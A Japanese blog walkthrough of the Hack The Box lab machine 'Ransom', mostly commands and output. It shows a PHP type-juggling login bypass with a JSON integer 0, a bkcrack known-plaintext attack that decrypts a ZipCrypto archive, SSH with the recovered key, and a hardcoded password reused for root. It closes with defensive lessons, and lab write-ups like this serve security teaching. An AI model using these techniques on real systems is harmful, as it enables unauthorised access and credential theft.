Hack The BoxのWriteup(Ransom)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Ransom — 全実行コマンド・実行結果レポート
Nmap スキャン
SSH(22)+Apache(80)
GET /api/login + JSON body
password: 0 (整数)
Type Juggling
認証バイパス成功
/ の直接DLリンク
user.txt ✓
暗号化zip回収
ZipCrypto各エントリ個別暗号化
bkcrack 既知平文攻撃
.profile がCRC一致
zip全体復号
id_rsa 秘密鍵回収
SSH as htb
AuthController.php
パスワード使い回し
su –
root.txt ✓

ポートスキャン

BASH
nmap -p- --min-rate 500 -T4 10.129.227.93
nmap -sV -sC -p 22,80 10.129.227.93
RESULT
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
| http-title:  Admin - HTML5 Admin Template
|_Requested resource was http://10.129.227.93/login

ログインページの調査

BASH
curl -s -c cookies.txt http://10.129.227.93/login
RESULT (レスポンスCookie)
Set-Cookie: XSRF-TOKEN=...
Set-Cookie: laravel_session=...
ℹ️
laravel_session Cookieから Laravel (PHP製) フレームワークと判明。 ログインフォームのインラインスクリプトを見ると、jQueryの $.ajaxGET api/loginにパスワードを送っており、 レスポンス本文が文字列"Login Successful"と一致した場合のみ window.location.replace('/')でトップページへ遷移する設計。
PHASE 2

PHP Type Juggling による認証バイパス

POSTへの変更は拒否される

BASH
curl -s -X POST http://10.129.227.93/api/login -d '{"password":"test"}' \
  -H "Content-Type: application/json"
RESULT
{"message":"The POST method is not supported for this route. Supported methods: GET, HEAD."}
ℹ️
ルートはGETのみ対応。ただしHTTPの仕様上GETリクエストにも ボディを含めること自体は可能で、LaravelはContent-Typeが application/jsonであればGETリクエストのボディもJSONとして パースし$request->get('password')で取得できてしまう。

Type Juggling — 整数0で認証バイパス

NOTE
PHPは "==" によるゆるい比較で、先頭が数字でない文字列と整数0を比較すると
常にtrueと評価する (PHP8未満の既定挙動)。サーバー側の実装は
  if ($request->get('password') == "固定パスワード文字列") { ... }
という形になっており、"password" にJSONの数値0 (文字列 "0" ではない) を
渡すと "固定パスワード文字列" == 0 が true と評価され認証を通過できる。
BASH (文字列 “0” — 失敗)
curl -s -X GET http://10.129.227.93/api/login -b cookies.txt \
  -H "Content-Type: application/json" -d '{"password":"0"}'
RESULT
Invalid Password
BASH (整数 0 — 成功)
curl -s -c cookies2.txt -X GET http://10.129.227.93/api/login -b cookies.txt \
  -H "Content-Type: application/json" -d '{"password":0}'
RESULT
Login Successful
認証バイパス成功。 レスポンスで新しいlaravel_session Cookieが発行され、これが認証済みセッションとなる。
PHASE 3

user.txt 直接取得 & 暗号化zip回収

認証後トップページで user.txt を発見

BASH
curl -s -b cookies2.txt http://10.129.227.93/ | grep href
RESULT (関連行抜粋)
<span class="name">homedirectory.zip</span>
<span class="count"><a href="/uploaded-file-3422.zip">download</a></span>
<span class="product">The User Flag</span>
<span class="count"><a href="/user.txt">download</a></span>
BASH
curl -s -b cookies2.txt http://10.129.227.93/user.txt
RESULT
885ff47fd6d5b9f28954d2849367adb4
user.txt (直接ダウンロード)
885ff47fd6d5b9f28954d2849367adb4
これだけでuser.txtが取得できる。 root権限昇格のためには SSHアクセスが必要なため、続けて暗号化zipを回収する。

暗号化zipのダウンロードと内容確認

BASH
curl -s -b cookies2.txt http://10.129.227.93/uploaded-file-3422.zip -o homedirectory.zip
7z l -slt homedirectory.zip
RESULT (抜粋)
Path = .profile
CRC = D1B22A87
Method = ZipCrypto Deflate

Path = .ssh/id_rsa
CRC = 38804579
Method = ZipCrypto Deflate

Path = .ssh/authorized_keys
CRC = CB143C32
Method = ZipCrypto Deflate
⚠️
各エントリが個別に暗号化されている。暗号化方式は ZipCrypto — 既知平文攻撃 (known-plaintext attack) に脆弱な 1980年代設計の暗号方式であることが分かる。
PHASE 4

bkcrack による既知平文攻撃

bkcrack の入手

BASH (aptには存在しないためGitHub Releaseから取得)
curl -sL https://github.com/kimci86/bkcrack/releases/download/v1.8.1/bkcrack-1.8.1-Linux-x86_64.tar.gz \
  -o bkcrack.tar.gz
tar xzf bkcrack.tar.gz
sudo cp bkcrack-1.8.1-Linux-x86_64/bkcrack /usr/local/bin/

既知平文の準備 — .profile のCRC一致を確認

NOTE
ZipCrypto既知平文攻撃には、暗号化されたファイルと同一内容の平文が手元に
必要。.profile のような設定ファイルはOSのバージョンが同じであれば
バイト単位で完全に同一であることが多い。Ubuntu/Debian系は
/etc/skel/.profile というテンプレートから新規ユーザーのホームディレクトリを
作成するため、攻撃者自身のKali機にある /etc/skel/.profile がターゲットの
ものと一致するか CRC32 で確認する。
BASH
crc32 /etc/skel/.profile
RESULT
d1b22a87   ← ターゲットの .profile エントリと完全一致!

既知平文攻撃で内部鍵を導出

BASH (平文をzip化)
cp /etc/skel/.profile profile
zip profile.zip profile
BASH (bkcrack実行)
bkcrack -C homedirectory.zip -c .profile -P profile.zip -p profile
RESULT
[*] Z reduction using 385 bytes of known plaintext
100.0 % (385 / 385)
[*] Attack on 20628 Z values at index 7
Found a solution. Stopping.
[*] Keys
7b549874 ebc25ec5 7e465e18

導出した鍵でzip全体を復号

BASH
bkcrack -C homedirectory.zip -k 7b549874 ebc25ec5 7e465e18 -D decrypted.zip
unzip -o decrypted.zip -d unzipped/
RESULT
  inflating: unzipped/.bash_logout
  inflating: unzipped/.bashrc
  inflating: unzipped/.profile
  inflating: unzipped/.ssh/id_rsa
  inflating: unzipped/.ssh/authorized_keys
  inflating: unzipped/.ssh/id_rsa.pub
  inflating: unzipped/.viminfo
パスワード無しでzip全体を復号成功。 -D オプションは内部鍵さえ分かれば、元のパスワードを知らなくても 全エントリを復号したコピーを作れる。
PHASE 5

SSH秘密鍵でログイン → パスワード使い回しでroot.txt

ユーザー名の特定とSSHログイン

BASH
cat unzipped/.ssh/authorized_keys
RESULT
ssh-rsa AAAAB3NzaC1yc2E... htb@ransom
BASH
chmod 600 unzipped/.ssh/id_rsa
ssh -i unzipped/.ssh/id_rsa htb@10.129.227.93
RESULT
htb@ransom:~$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

アプリソース内のハードコードパスワードを発見

BASH
htb@ransom:~$ grep -n "password\|PW" /srv/prod/app/Http/Controllers/AuthController.php
RESULT
34:            'password' => 'required',
37:        if ($request->get('password') == "UHC-March-Global-PW!") {
42:        return "Invalid Password";
⚠️
Phase2で悪用した比較の右辺こそがアプリ全体の固定パスワード。 これがWebアプリのソースコードに平文でハードコードされたまま デプロイされている。

パスワード使い回しで su → root.txt

BASH
htb@ransom:/srv/prod$ su -
Password: UHC-March-Global-PW!
root@ransom:~# cat root.txt
RESULT
2a121f6466ba42afdbc06693e95ea762
root.txt
2a121f6466ba42afdbc06693e95ea762
パスワード使い回しがそのまま権限昇格に直結。 Webアプリの固定パスワードとOSアカウントのrootパスワードが同一だった。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — htb (直接ダウンロード / SSH再確認)
885ff47fd6d5b9f28954d2849367adb4
root.txt
2a121f6466ba42afdbc06693e95ea762

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
PHP Type Juggling (CWE-697) GET /api/login のパスワード比較 認証の完全バイパス Critical PHPの緩い比較(==)により、先頭が数字でない文字列と整数0を比較すると常にtrueになる仕様を、JSONボディで整数0を送ることで悪用
機密ファイルへの過剰な直接アクセス 認証後トップページの /user.txt リンク user.txt の即座な取得 High フラグファイルがWebルート配下から直接ダウンロード可能な状態で公開されている
ZipCrypto の既知平文攻撃 (Biham-Kocher) homedirectory.zip の暗号化方式 パスワード無しでのzip全体復号 Critical 1980年代設計の脆弱なZipCrypto暗号を使用しており、既定のOS設定ファイル(.profile)が既知平文として利用でき、bkcrackで内部鍵を導出可能
ソースコードへのパスワードハードコード + 使い回し AuthController.php + OSアカウントroot root権限奪取 High Webアプリの固定認証パスワードがソースコードに平文で埋め込まれ、かつOSのrootパスワードとしても使い回されている

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapLaravelアプリ構成 (Apache/PHP)
2認証バイパスPHP Type Juggling (password=0)認証済みセッション
3フラグ取得+資格情報収集直接ダウンロードリンク+暗号化zip回収user.txt、暗号化zip
4暗号解読bkcrack 既知平文攻撃 (.profile CRC一致)SSH秘密鍵 (id_rsa)
5権限昇格ソース内パスワードの使い回し + suroot.txt

学んだ教訓 & 防御策

問題点防御策
認証比較にPHPの緩い比較演算子(==)を使用しており、型を厳密に検証していない 厳密等価演算子(===)を使用するか、事前にis_string()等で型を明示的に検証する。パスワード比較にはhash_equals()等のタイミングセーフな専用関数を用いる。
フラグファイルを含む機密ファイルがWebルート直下から誰でもダウンロード可能 アップロード/生成されたファイルはWebルート外の非公開ディレクトリに保存し、アクセス制御付きのエンドポイント経由でのみ配信する。
個人情報を含むファイルの暗号化に、既知平文攻撃に脆弱な旧式のZipCrypto方式を使用している AES-256等の現代的な暗号化方式(WinZip AE-2等)を使用する。既定のOS設定ファイルのような予測可能な内容を暗号化対象に含めない。
アプリケーションの認証パスワードがソースコードに平文でハードコードされ、かつOSアカウントのパスワードとしても使い回されている 認証情報は環境変数やシークレット管理サービスから取得しソースコードに含めない。アプリケーションアカウントとOSアカウントのパスワードは完全に分離し使い回さない。
HackTheBox: Ransom | 完全攻略レポート